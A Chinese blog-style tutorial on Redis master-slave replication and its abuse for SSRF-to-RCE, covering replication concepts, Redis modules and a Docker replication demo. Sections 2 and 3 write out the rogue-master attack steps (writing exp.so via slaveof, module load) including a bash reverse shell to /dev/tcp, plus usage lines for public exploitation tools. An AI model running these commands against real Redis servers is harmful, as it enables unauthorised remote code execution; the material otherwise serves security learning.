天天看點

redis主從複制<1> redis主從複制介紹:<2> Redis子產品<3> redis主從複制ssrf->rce(2) 利用 ssrf-rce 工具 <4> 主從複制示範

<1> redis主從複制介紹:

首先來介紹一下什麼是redis主從複制

Redis是一個使用ANSI C編寫的開源、支援網絡、基于記憶體、可選持久性的鍵值對存儲資料庫。但如果當把資料存儲在單個Redis的執行個體中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis執行個體作為主機,其他執行個體都作為備份機,其中主機和從機資料相同,而從機隻負責讀,主機隻負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式 

即,

主從複制,是指将一台Redis伺服器的資料,複制到其他的Redis伺服器。前者稱為主節點(master),後者稱為從節點(slave);資料的複制是單向的,隻能由主節點到從節點。

作用:

  • 資料備援(熱備份)
  • 故障恢複(主節點出問題可以由從節點繼續提供服務)
  • 讀寫分離(主節點提供寫服務,從節點提供讀服務)

感覺像是 docker裡的 容器挂載,同步檔案内容那種

這也是redis從ssrf到rce的核心:

通過主從複制,主redis的資料和從redis上的資料保持實時同步,當主redis寫入資料是就會通過主從複制複制到其它從redis

問題:

既然是異體機,跨主機就有可能資料存在各種問題

  • 如果資料延遲,導緻讀寫不一緻.采用監控偏移量offset的思想,如果offset超出範圍直接切換回主節點上
  • 異步複制導緻資料丢失的情況,要求主節點至少有n個從節點連結的時候才允許寫入
  • 從節點故障可以允許主節點配置高于從節點,依然可用
  • 從節點斷掉,主節點記憶體碎片率過高,redis提供debug reload的重新開機方式,在不影響主節點runid和offset情況下重新開機,同時避免消耗資源的全量複制
  • 主節點當機重新開機時,可以采用樹狀,将開銷交給位于中間層的從節點,進而減輕主節點的消耗

<2> Redis子產品

在了解了主從同步之後,我們還需要對redis的子產品有所了解。

在Reids 4.x之後,Redis新增了子產品功能,通過外部拓展,可以實作在redis中實作一個新的Redis指令,通過寫c語言并編譯出.so檔案: 現成惡意so檔案

Redis子產品是動态庫,可以在啟動時或使用

MODULE LOAD

指令加載到Redis中

config set dir /tmp/                     //設定檔案路徑為/tmp/

config set dbfilename exp.so     //設定資料庫檔案名為:exp.so

slaveof vpsip port                       //設定主redis位址為 vpsip,端口為 port

module load /tmp/exp.so

system.exec 'bash -i >& /dev/tcp/ip/port 0>&1'

<3> redis主從複制ssrf->rce

redis的持久化使得機器即使重新開機資料也不會丢失,因為redis伺服器重新開機後會把硬碟上的檔案重新恢複到記憶體中,但是如果硬碟的資料被删除的話資料就無法恢複了,如果通過主從複制就能解決這個問題,主redis的資料和從redis上的資料保持實時同步,當主redis寫入資料是就會通過主從複制複制到其它從redis。

主從複制從ssrf->rce原理:在全量複制過程中,恢複rdb檔案,如果我們将rdb檔案構造為惡意的exp.so,從節點即會自動生成,使得可以RCE

在全量複制過程中,恢複rdb檔案,如果我們将rdb檔案構造為惡意的exp.so, 從節點即會自動生成惡意exp.so,使得可以RCE

過程分為三個階段:連接配接建立階段\資料同步階段\指令傳播階段

從節點執行slaveof指令後,複制過程開始,分為六個階段:

  1. 儲存主節點資訊
  2. 主從建立socker連結
  3. 發送ping指令
  4. 權限驗證
  5. 同步資料集
  6. 指令持續複制

(1) 利用 redis-rogue-server 工具 

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

redis主從複制&lt;1&gt; redis主從複制介紹:&lt;2&gt; Redis子產品&lt;3&gt; redis主從複制ssrf-&gt;rce(2) 利用 ssrf-rce 工具 &lt;4&gt; 主從複制示範

該工具的原理就是首先建立一個惡意的Redis伺服器作為Redis主機(master),該Redis主機能夠回應其他連接配接他的Redis從機的響應。有了惡意的Redis主機之後,就會遠端連接配接目标Redis伺服器,通過

slaveof

指令将目标Redis伺服器設定為我們惡意Redis的Redis從機(slaver)。然後将惡意Redis主機上的exp同步到Reids從機上,并将dbfilename設定為exp.so。最後再控制Redis從機(slaver)加載子產品執行系統指令即可。

使用方法:

python3 redis-rogue-server.py --rhost rhost --lhost lhost
           

(2) 利用 ssrf-rce 工具

 GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE

redis主從複制&lt;1&gt; redis主從複制介紹:&lt;2&gt; Redis子產品&lt;3&gt; redis主從複制ssrf-&gt;rce(2) 利用 ssrf-rce 工具 &lt;4&gt; 主從複制示範

可以看到該工具有一個

-a

選項,可以用來進行Redis認證。

但是這個工具裡少一個exp.so的檔案,我們還需要去上面那個到 redis-rogue-server 工具中找到exp.so檔案并複制到redis-rce.py同一目錄下,然後執行如下指令即可:

python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
           

環境一直 不知道怎麼搞這種存在漏洞的redis 沒搭起來,就記錄一下步驟吧

<4> 主從複制示範

docker pull redis:latest

#拉取最新版本redis鏡像

docker run -it -d --name redis-test -p 4001:6379 redis

docker run -it -d --name redis2-test -p 4002:6379 redis

docker exec -it redis-test /bin/bash    #進入容器

172.17.0.2

docker exec -it redis2-test /bin/bash   #

172.17.0.4

redis-cli

  #連接配接redis

主從複制示範:

redis-cli  -h 172.17.0.2     redis-cli -h 172.17.0.4

info replication

檢視參數資訊

redis主從複制&lt;1&gt; redis主從複制介紹:&lt;2&gt; Redis子產品&lt;3&gt; redis主從複制ssrf-&gt;rce(2) 利用 ssrf-rce 工具 &lt;4&gt; 主從複制示範

在master主機:set name "1vxyz"

redis主從複制&lt;1&gt; redis主從複制介紹:&lt;2&gt; Redis子產品&lt;3&gt; redis主從複制ssrf-&gt;rce(2) 利用 ssrf-rce 工具 &lt;4&gt; 主從複制示範

slave:

redis主從複制&lt;1&gt; redis主從複制介紹:&lt;2&gt; Redis子產品&lt;3&gt; redis主從複制ssrf-&gt;rce(2) 利用 ssrf-rce 工具 &lt;4&gt; 主從複制示範